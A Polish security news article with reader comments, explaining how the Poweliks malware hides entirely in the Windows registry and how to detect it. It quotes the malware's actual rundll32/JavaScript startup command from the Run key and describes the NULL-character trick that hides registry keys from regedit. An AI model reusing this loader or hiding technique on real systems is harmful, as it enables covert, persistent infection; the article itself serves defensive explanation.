24.07.2014 | 10:39

Adam Haertle

Wirus, który potrafi w całości schować się w rejestrze Windows

Mieliśmy już wirusy mieszkające we własnych plikach, w cudzych plikach, w sektorach startowych, w BIOSie komputera lub jego komponentów czy w interfejsie ACPI. Co powiecie jednak na złośliwe oprogramowanie, które chowa się w rejestrze Windows?

Win32/Poweliks, bo tak nazywa się bohater naszego artykułu, odkryty został przez firmę ESET w kwietniu. Na jego specyficzne działanie po raz pierwszy zwrócono uwagę tydzień temu na forum KernelMode.info. Mało kto jednak zainteresował się tematem aż do czasu opublikowania wpisu na Reddicie. Warto przyjrzeć się temu wirusowi, bo jest dość oryginalny.

Mieszkam w rejestrze i co mi zrobisz

Czy da się schować złośliwy program w rejestrze Windows? Okazuje się, że nie jest to dużym wyzwaniem, wymaga jedynie kilku prostych sztuczek. Poweliks zaczyna swoje działanie od klucza

HKCU\Software\Microsoft\Windows\CurrentVersion\Run

w którym umieszcza swój skrypt startowy

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write("\74script language=jscript.encode>"+(new%20ActiveXObject("WScript.Shell")).RegRead("HKCU\\software\\microsoft\\windows\\currentversion\\run\\")+"\74/script>")

Zadaniem skryptu jest pobrać, zdekodować i wykonać kolejny skrypt, przechowywany w tej samej gałęzi rejestru w kluczu „Default”. Ten drugi skrypt dla odmiany pobiera z innego klucza ciąg znaków zakodowany w base64, który po odkodowaniu staje się plikiem DLL. Plik DLL jest właściwym elementem złośliwego oprogramowania, które po zdekodowaniu zostaje uruchomione wewnątrz dodatkowego procesu dllhost.exe. W razie usunięcia właściwego pliku z dysku może on zostać odtworzony na podstawie danych przechowywanych w rejestrze.

Sam wirus posiada już tradycyjne funkcje, takie jak komunikacja z C&C oraz pobieranie i wykonywanie plików przesyłanych przez swoich nadzorców. Od czasu pierwszej analizy pojawiły się także nowe wersje, które korzystają z innych kluczy rejestru, np.

HKEY_CURRENT_USER\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}

Wirus dystrybuowany jest między innymi poprzez zainfekowane pliki RTF, wykorzystujące błąd CVE-2012-0158. Inne procesy jego dystrybucji znajdziecie w artykule Kafeine.

Analiza fragmentu kodu Poweliksa (źródło: Kafeine)

Analiza fragmentu kodu Poweliksa (źródło: Kafeine)

Pelerynka – niewidka

Wirus jest taki sprytny, że używane przez niego klucze rejestru są niewidoczne gołym okiem. Gołym – czyli korzystającym z narzędzia regedit, dostarczanego w systemie Windows. W tym celu wirus korzysta ze starej sztuczki, polegającej na wstawieniu do nazwy zmiennej znaku specjalnego NULL (0x00), który powoduje, że nie jest ona wyświetlana prawidłowo przez regedit.

Jeśli chcecie przeskanować swój rejestr w poszukiwaniu kluczy ukrytych w ten sposób, polecamy RootkitRevealer, który wykrywa te triki. W wykryciu i usunięciu wirusa pomogą także narzędzia takie jak Autoruns oraz ProcessExplorer.

Powrót

Komentarze

  • 2014.07.24 12:20 Gandus

    Jak wejdzie w rejestr jak działa się na koncie zwykłego użytkownika z ograniczeniami ?

    Odpowiedz
    • 2014.07.24 14:13 Marcin

      Wydaje mi sie, ze do current usera nie potrzeba jakichs specjalnych uprawnien.

      Odpowiedz
  • 2014.07.24 12:33 adam

    Kurcze, u mnie RootkitRevealer nie chce działać, odrazu po próbie odpalenia wyskakuje błąd „Program Rootkit detection utility przestał działać”

    Podpis problemu:
    Nazwa zdarzenia problemu: APPCRASH
    Nazwa aplikacji: RootkitRevealer.exe
    Wersja aplikacji: 1.71.0.0
    Sygnatura czasowa aplikacji: 44e255aa
    Nazwa modułu z błędem: RootkitRevealer.exe
    Wersja modułu z błędem: 1.71.0.0
    Sygnatura czasowa modułu z błędem: 44e255aa
    Kod wyjątku: c0000005
    Przesunięcie wyjątku: 000040cd
    Wersja systemu operacyjnego: 6.1.7601.2.1.0.768.3
    Identyfikator ustawień regionalnych: 1045
    Dodatkowe informacje 1: 54ee
    Dodatkowe informacje 2: 54ee6433ac31d0e3d26f06a5a978a1aa
    Dodatkowe informacje 3: e092
    Dodatkowe informacje 4: e0928ef308b620f5838f70802f42baec

    Odpowiedz
    • 2014.07.24 20:51 thibris

      Rootkit revealer nie działa na windows 7 64 bit :)

      Odpowiedz
      • 2014.07.24 23:41 adam

        Zauważyłem, że choć program polecany przez redakcje to pierwszej świeżości nie jest…

        Odpowiedz
        • 2014.07.30 11:33 E0E

          Spróbuj GMER’a ( produkt krajowy Przemka Gmerka). Gmer ma od wersji 2.0 posiada pełne wsparcie dla systemów x64

          Odpowiedz
  • 2014.07.24 13:19 czytelnik

    sprytna bestia, ciekawe w ktora strone on ewoluuje…

    Odpowiedz
  • 2014.07.24 15:59 JackN

    Dobrze rozumiem: wirus uruchamia się przy logowaniu do systemu?

    Odpowiedz
  • 2014.07.24 16:03 asdasdasd

    wyglada troche jak atak krolowej zergow na baze terranow…infekuje serce i napada uzywajac twoich ludzi… ;]

    Odpowiedz
    • 2014.07.31 09:07 Ninja

      @asdasdasd: chyba czas wyłączyć kompa i wyjść na świeże powietrze, nie sądzisz?

      Odpowiedz
    • 2019.02.04 08:20 mark

      na to wyglada. uzywa zainstalowanych programow przez nas samych

      Odpowiedz
  • 2014.07.24 16:44 Zulu Uniform Oscar

    Zawsze zostaje jeszcze stary dobry (a do tego polski) GMER

    Odpowiedz
    • 2014.07.24 23:50 adam

      U mnie chyba znalazł coś:

      Thread C:\Windows\SysWOW64\ntdll.dll [1904:1908] 0000000001061c94
      Thread C:\Windows\SysWOW64\ntdll.dll [1904:4256] 0000000066e62238
      Thread C:\Windows\SysWOW64\ntdll.dll [1904:4284] 0000000066e62238
      Thread C:\Windows\SysWOW64\ntdll.dll [1904:4260] 0000000066e62238
      Thread C:\Windows\SysWOW64\ntdll.dll [1904:3940] 00000000682a3189
      Thread C:\Windows\SysWOW64\ntdll.dll [1904:1992] 0000000068978f59
      Thread C:\Windows\SysWOW64\ntdll.dll [1904:1352] 00000000688f4b0d
      Thread C:\Windows\SysWOW64\ntdll.dll [1904:1584] 00000000729b1854
      Thread C:\Windows\SysWOW64\ntdll.dll [2716:2720] 0000000000ed1c94

      choć nie wiem czy jest się czego obawiać. Gdy zaznaczę te wątki i kliknę „Remove signed” nic się nie dzieje… :/

      Odpowiedz
  • 2014.07.25 11:19 Mateusz

    A tak z innej beczki… Fajnie, że znów aktywnie piszesz:) Zwłaszcza, że z kolei sekurak mniej pisze obecnie:)

    Odpowiedz
  • 2014.07.28 22:17 Robert

    Wyścig zbrojeń :]

    Odpowiedz
  • 2014.08.06 07:00 Adam Słodowy

    Stara już nie do końca niezawodna szkoła
    format c:
    i instal ikspe

    Odpowiedz
  • 2014.08.07 05:35 dawciobiel

    Czyli po prostu wirus zapisuje się w rejestrze w postaci zakodowanej za pomoca base64. Wszystko inne to po prostu dekodowanie i uruchomienie.
    Natomiast numer ze znakiem specjalnym NULL (0×00) w nazwie zmiennej powinien być rozwiazany przez M$.

    Odpowiedz

Zostaw odpowiedź do Mateusz

Jeśli chcesz zwrócić uwagę na literówkę lub inny błąd techniczny, zapraszamy do formularza kontaktowego. Reagujemy równie szybko.

Wirus, który potrafi w całości schować się w rejestrze Windows

Komentarze